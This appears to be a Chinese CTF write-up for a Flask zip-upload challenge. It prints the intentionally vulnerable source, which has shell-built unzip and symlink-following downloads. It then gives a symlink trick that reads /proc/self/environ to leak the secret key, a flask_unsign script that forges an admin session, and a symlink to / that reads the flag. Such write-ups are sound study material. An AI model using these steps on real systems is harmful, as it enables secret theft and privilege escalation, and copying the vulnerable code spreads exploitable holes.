待解
为什么环境变量的key不是test?
为什么FileSystem不能通过proc/self/environ访问env文件?
前置知识
proc/self/environ
flask_session
1 2 3 4 5 6 7 8 9 10 11 12 13
| import flask_unsign
data = { "username": "admin1", "role": "admin" }
secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"
forged_session = flask_unsign.sign(data, secret=secret) print(forged_session)
|
复现
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| import os import uuid from flask import Flask, request, redirect, url_for,render_template, session, abort, Response
app = Flask(__name__) app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key") UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads") os.makedirs(UPLOAD_FOLDER, exist_ok=True)
users = {}
def waf(input_str):
@app.route("/") def index(): if "username" not in session: return redirect(url_for("login")) return redirect(url_for("upload"))
@app.route("/register", methods=["GET", "POST"]) def register(): if request.method == "POST": username = request.form["username"] password = request.form["password"]
if username in users: return "用户名已存在"
users[username] = {"password": password, "role": "user"} return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form["username"] password = request.form["password"]
if username in users and users[username]["password"] == password: session["username"] = username session["role"] = users[username]["role"] return redirect(url_for("upload")) else: return "用户名或密码错误"
return render_template("login.html")
@app.route("/logout") def logout(): session.clear() return redirect(url_for("login"))
@app.route("/upload", methods=["GET", "POST"]) def upload(): if "username" not in session: return redirect(url_for("login"))
if request.method == "POST": file = request.files["file"] if not file: return "未选择文件"
role = session["role"]
if role == "admin": dirname = request.form.get("dirname") or str(uuid.uuid4()) else: dirname = str(uuid.uuid4())
if waf(dirname): abort(400, "目录名包含非法字符")
target_dir = os.path.join(UPLOAD_FOLDER, dirname) os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip") file.save(zip_path)
try: os.system(f"unzip -o {zip_path} -d {target_dir}") except: return "解压失败,请检查文件格式"
os.remove(zip_path) return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"
return render_template("upload.html")
@app.route("/download/<folder>") def download(folder): target_dir = os.path.join(UPLOAD_FOLDER, folder) if not os.path.exists(target_dir): abort(404)
files = os.listdir(target_dir) return render_template("download.html", folder=folder, files=files)
@app.route("/download/<folder>/<filename>") def download_file(folder, filename): file_path = os.path.join(UPLOAD_FOLDER, folder ,filename) try: with open(file_path, 'r') as file: content = file.read() return Response( content, mimetype="application/octet-stream", headers={ "Content-Disposition": f"attachment; filename={filename}" } ) except FileNotFoundError: return "File not found", 404 except Exception as e: return f"Error: {str(e)}", 500
if __name__ == "__main__": app.run(host="0.0.0.0")
|
软链接获得key
1 2
| ln -s /proc/self/environ env_link zip -y ......
|
session伪造
1 2 3 4 5 6 7 8 9 10 11 12 13
| import flask_unsign
data = { "username": "admin1", "role": "admin" }
secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"
forged_session = flask_unsign.sign(data, secret=secret) print(forged_session)
|
软链接到根目录
注意到源码 waf使得我们只能通过download访问uploads目录下的当前用户文件
因此我们软链接构造一个/app/uploads/root文件 -> /
这样就可以通过/download/root 访问到根目录 获得flag